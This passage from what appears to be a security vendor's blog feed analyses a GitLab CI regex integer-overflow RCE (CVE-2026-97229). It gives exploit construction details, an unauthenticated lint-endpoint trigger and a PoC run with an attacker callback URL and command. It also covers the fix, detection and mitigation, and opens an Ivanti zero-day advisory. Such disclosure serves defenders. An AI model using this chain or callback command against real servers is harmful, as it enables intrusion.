end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>By the time execution reaches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, GitLab is checking only the length of the expanded source expression. The call at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> supplies every filename in the selected commit, while </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>compile_pattern</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> ultimately invokes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Regexp.new</span></span><span style='font-size: undefined;'>. Each iteration at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> therefore crosses from CI configuration into native </span><a href="https://github.com/k-takata/onigmo"><span style='font-size: undefined;'>Onigmo</span></a><span style='font-size: undefined;'> with a repository path as the match subject.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Smuggling a large repeat through the checks</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:</span></p><p></p><pre language="ruby">REPEAT_BOUND = /(?&lt;!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner

def self.compile_regexp(pattern, timeout: nil)
  raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
  reject_large_repeats!(pattern) # [6] Repeat-bound check

  alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }

  probe =
    begin
      Regexp.new(alternation_free)
    rescue RegexpError =&gt; e
      # ... error-message rewriting omitted
    end

  check_compiled_size!(probe) # [7] Probe size check
  check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The source-length check occurs before this function. The subroutine-call check at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[5]</span></span><span style='font-size: undefined;'> and the repeat-bound check at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[6]</span></span><span style='font-size: undefined;'> defend against structural growth, but the scanner at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> recognizes only contiguous digits. Compilation then happens twice: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[7]</span></span><span style='font-size: undefined;'> checks an alternation-free probe, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[8]</span></span><span style='font-size: undefined;'> checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The PoC hides its quantifier bound from the scanner at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> via an inline comment: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{5(?#)7805}</span></span></p><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>(?#)</span></span><span style='font-size: undefined;'> is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[[:word:]]</span></span><span style='font-size: undefined;'> classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ruby selects or recompiles the regex before starting its timed matcher:</span></p><p></p><pre language="c">/* re.c: rb_reg_prepare_re() */
regex_t *reg = RREGEXP_PTR(re);
if (reg-&gt;enc == enc) return reg; // [9] Matching encoding

// ... source preprocessing and use-count branch omitted
r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len),
                           reg-&gt;options, enc,
                           OnigDefaultSyntax, &einfo); // [10] Onigmo recompile
// ... error handling and old-program replacement omitted

/* re.c: rb_reg_onig_match() */
reg = rb_reg_prepare_re(re, str);
// ... use-count bookkeeping omitted
OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match
// ... result cleanup omitted</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[9]</span></span><span style='font-size: undefined;'>, Ruby returns the existing program only when its encoding matches the subject. Otherwise, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[10]</span></span><span style='font-size: undefined;'> recompiles the source for the subject encoding via Onigmo. Only then does </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[11]</span></span><span style='font-size: undefined;'> begin timed matching, leaving the unsafe compilation outside the timeout.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[10]</span></span><span style='font-size: undefined;'> is where the oversized pcode program is created.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The repeated target also carries the bytes that run after the overflow:</span></p><p></p><pre language="python"># poc.py: build()
# ... prefix setup omitted
target = "(?&lt;=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?&gt;{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The six </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[[:word:]]</span></span><span style='font-size: undefined;'> classes are only the size multiplier. The payload sits in four more character classes generated by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>character_class(stage)</span></span><span style='font-size: undefined;'>. A class such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[abc]</span></span><span style='font-size: undefined;'> compiles to a bitmap with bits set for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>a</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>b</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>c</span></span><span style='font-size: undefined;'>. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Crossing </span><span style='color:rgb(24, 128, 56);'>INT_MAX</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant </span><a href="https://github.com/ruby/ruby/blob/v3_3_12/regcomp.c#L1154-L1170"><span style='font-size: undefined;'>Onigmo compiler code in Ruby 3.3.12</span></a><span style='font-size: undefined;'> is:</span></p><p></p><pre language="c">/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn-&gt;greedy &&
         (qn-&gt;upper == 1 || (tlen + SIZE_OP_PUSH) * qn-&gt;upper
                                &lt;= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn-&gt;upper - qn-&gt;lower;

  r = compile_tree_n_times(qn-&gt;target, qn-&gt;lower, reg); // [13] Expand lower copies
if (r) return r;

// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>With this body size (37,151) and quantifier bound (57,805):</span></p><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>37,151 × 57,805 = 2,147,513,555 = 0x800074d3</span></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>That is 29,908 (0x74D4) bytes beyond signed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>INT_MAX</span></span><span style='font-size: undefined;'> (0x7FFFFFFF). At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[12]</span></span><span style='font-size: undefined;'>, the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[13]</span></span><span style='font-size: undefined;'> and emits all 57,805 copies.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>|</span></span><span style='font-size: undefined;'> immediately after </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{5(?#)7805}</span></span><span style='font-size: undefined;'> makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>|</span></span><span style='font-size: undefined;'> into two pcode branches. An </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>OP_PUSH</span></span><span style='font-size: undefined;'> near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>OP_JUMP</span></span><span style='font-size: undefined;'> emitted after the giant first alternative by the </span><a href="https://github.com/ruby/ruby/blob/v3_3_12/regcomp.c#L1730-L1754"><span style='font-size: undefined;'>alternation compiler</span></a><span style='font-size: undefined;'>:</span></p><p></p><pre language="c">/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg-&gt;used + len;  /* goal position */

/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
  len = pos - (reg-&gt;used + SIZE_OP_JUMP);
  r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The jump at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[14]</span></span><span style='font-size: undefined;'> should skip the empty alternative and land at the end of the alternation. The compiler calculated </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'> from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-136</span></span><span style='font-size: undefined;'>, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>From character-class bitmap to </span><span style='color:rgb(24, 128, 56);'>system()</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>character_class()</span></span><span style='font-size: undefined;'> as VM instructions, starting the sequence shown here.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2e73ed7bc1ae5498/6ad228756f7ed14638bf5b4d/figure2.jpg" alt="Figure 2" caption="Figure 2: From controlled Onigmo pcode to native command execution." height="929" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Figure 2" width="694" max-width="694" max-height="929" style="max-width: 694px; width: 694px; max-height: 929px; height: 929px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2e73ed7bc1ae5498/6ad228756f7ed14638bf5b4d/figure2.jpg" data-sys-asset-uid="blt2e73ed7bc1ae5498" data-sys-asset-filename="figure2.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 2: From controlled Onigmo pcode to native command execution." data-sys-asset-alt="Figure 2" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: From controlled Onigmo pcode to native command execution.</figcaption></div></figure><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FinishCode</span></span><span style='font-size: undefined;'>, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'>.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> pointer to a short instruction sequence that passes the path command to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'>, then writes that address into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>match_at()</span></span><span style='font-size: undefined;'>'s native return slot. When the matcher finishes, execution returns through the overwritten slot. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FinishCode</span></span><span style='font-size: undefined;'> and the call site are in the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> mapping, so the distance between them stays constant under ASLR.</span></p><h2 style="direction: ltr;">Exploitation</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Delivering the branch through CI lint</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GET</span></span><span style='font-size: undefined;'> form accepts an attacker-selected </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_ref</span></span><span style='font-size: undefined;'>, loads </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.gitlab-ci.yml</span></span><span style='font-size: undefined;'> from that commit, and evaluates it:</span></p><p></p><pre language="markdown">GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref
Host: gitlab.example</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:</span></p><p></p><pre language="ruby">get ':id/ci/lint' do
  authorize_read_code! # [17] Read authorization
  not_found! 'Repository' if user_project.empty_repo?

  unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check

  content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
  dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch

  commit = user_project.commit(content_ref)
  not_found! 'Commit' unless commit.present?

  content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
  result = Gitlab::Ci::Lint
    .new(project: user_project, current_user: current_user, sha: commit.sha)
    .legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint

  present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Public visibility makes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>authorize_read_code!</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[17]</span></span><span style='font-size: undefined;'> succeed without credentials, while the condition at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[18]</span></span><span style='font-size: undefined;'> does not reject an absent </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>current_user</span></span><span style='font-size: undefined;'>. The selected branch becomes the static linter's input through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[19]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[20]</span></span><span style='font-size: undefined;'>, without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Running a command</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>initial Python PoC</span></a><span style='font-size: undefined;'> clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:</span></p><p></p><pre language="shell-session">$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP 502 is expected. The command runs synchronously in a Puma worker. After </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'> returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The target-specific values in this PoC, such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SYSTEM_STEP_COUNT</span></span><span style='font-size: undefined;'>, the number of UTF-8 backward steps from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FinishCode</span></span><span style='font-size: undefined;'> to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'> call site, match official GitLab CE </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.1</span></span><span style='font-size: undefined;'> on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.</span></p><h2 style="direction: ltr;">The fix</h2><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab's </span><a href="https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/9845"><span style='font-size: undefined;'>Ruby backport</span></a><span style='font-size: undefined;'> replaces the multiplication at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[12]</span></span><span style='font-size: undefined;'> with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:</span></p><p></p><pre language="c">/* regcomp.c */
#define IS_EXPAND_LIMIT_OK(tlen, n) \
  ((n) &lt;= 0 || (tlen) &lt;= QUANTIFIER_EXPAND_LIMIT_SIZE / (n))

/* ... unrelated compiler declarations omitted */
#define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.</span></p><h2 style="direction: ltr;">Detection guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For the exploitation strategy described in this analysis, correlate:</span></p><p></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/log/gitlab/gitlab-workhorse/current</span></span><span style='font-size: undefined;'>: a several-second </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GET /api/v4/projects/&lt;project&gt;/ci/lint?content_ref=&lt;ref&gt;</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>badgateway: failed to receive response: EOF</span></span><span style='font-size: undefined;'>, and HTTP 502.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A Puma worker crashes or restarts at the same time; any saved trace contains </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>regexp_matcher.rb</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The referenced commit: an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>(?#)</span></span><span style='font-size: undefined;'>-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.</span></p></li></ol><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Self-managed GitLab customers should upgrade to the fixed patch for their release: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.8</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.5</span></span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.2</span></span><span style='font-size: undefined;'>. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Please read GitLab's </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/"><span style='font-size: undefined;'>critical patch release</span></a><span style='font-size: undefined;'> for the latest guidance.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-regex-integer-overflow-technical-analysis-cve-2026-97229</link>
      <guid isPermaLink="false">bltbfdc07fba418329d</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category><dc:creator><![CDATA[Jonah Burgess]]></dc:creator>
      <pubDate>Fri, 16 Oct 2026 13:31:56 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Ivanti Connect Secure zero-day exploited in the wild (CVE-2026-104935)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 13, 2026, Ivanti </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-104935"><span style='font-size: undefined;'>CVE-2026-104935</span></a><span style='font-size: undefined;'>, a high-severity authentication bypass by spoofing (</span><a href="https://cwe.mitre.org/data/definitions/290.html"><span style='font-size: undefined;'>CWE-290</span></a><span style='font-size: undefined;'>) affecting Ivanti Connect Secure (ICS). The vulnerability has a CVSSv3.0 score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L"><span style='font-size: undefined;'>8.6</span></a><span style='font-size: undefined;'> and allows a remote, unauthenticated attacker to execute arbitrary commands.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti reports that exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers. This indicates that exploitation has been occurring as a zero-day vulnerability. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) confirms exploitation in the wild, and added CVE-2026-104935 to its </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>Known Exploited Vulnerabilities</span></a><span style='font-size: undefined;'> (KEV) catalog on the same day as the vendor's public disclosure. The digital forensics firm Volexity has published a </span><a href="https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/"><span style='font-size: undefined;'>detailed blog post</span></a><span style='font-size: undefined;'> describing the threat actor activity, which was detected in early October 2026. Volexity notes that in addition to leveraging CVE-2026-104935 as a zero-day, the threat actor also leveraged an as-yet unpatched privilege escalation vulnerability which Ivanti are planning to patch at a later date.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>According to the vendor, a portion of the vulnerability was initially discovered through its product security program and patched in the July 2026 release of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'>. Exploitation occurred while Ivanti was working to backport the fix to the remaining supported versions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti Connect Secure is a popular enterprise VPN solution and naturally sits on the edge of a corporate environment. The product has a history of being targeted by attackers, with zero-day exploitation of other vulnerabilities occurring back in both </span><a href="https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/"><span style='font-size: undefined;'>2024</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/blog/post/2025/01/08/etr-cve-2025-0282-ivanti-connect-secure-zero-day-exploited-in-the-wild/"><span style='font-size: undefined;'>2025</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Given the confirmed exploitation, the ability to execute commands without authentication, along with the history of the product, Rapid7 recommends that organizations running affected versions apply the appropriate update on an emergency basis outside of normal patching cycles.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor-supplied updates are available to remediate CVE-2026-104935. Ivanti lists the following affected and resolved versions:</span></p><p></p><table><colgroup data-width='500'><col style="width:52.56410256410257%"/><col style="width:47.43589743589743%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Ivanti Connect Secure affected versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Resolved versions</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.1</span><span style='font-size: undefined;'> and prior in the applicable code line</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.2.2</span><span style='font-size: undefined;'> and prior in the applicable code line</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.4</span><span style='font-size: undefined;'> and prior in the applicable code line</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note that the vendor advisory confirms that versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.7.x</span><span style='font-size: undefined;'> and below are unaffected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At the time of the advisory, Ivanti states that reliable indicators of compromise are not available, however Volexity have published several </span><a href="https://github.com/volexity/threat-intel/tree/main/2026/2026-10-13%20Ivanti"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied. Customers who suspect exploitation should follow the vendor's </span><a href="https://forums.ivanti.com/s/article/Ivanti-Connect-Secure-22-8x-and-25x-Recovery-Steps"><span style='font-size: undefined;'>recovery steps</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the vendor's </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-104935 with a vulnerability check expected to be available in the October 14 content release.</span></p><h2 style="direction: 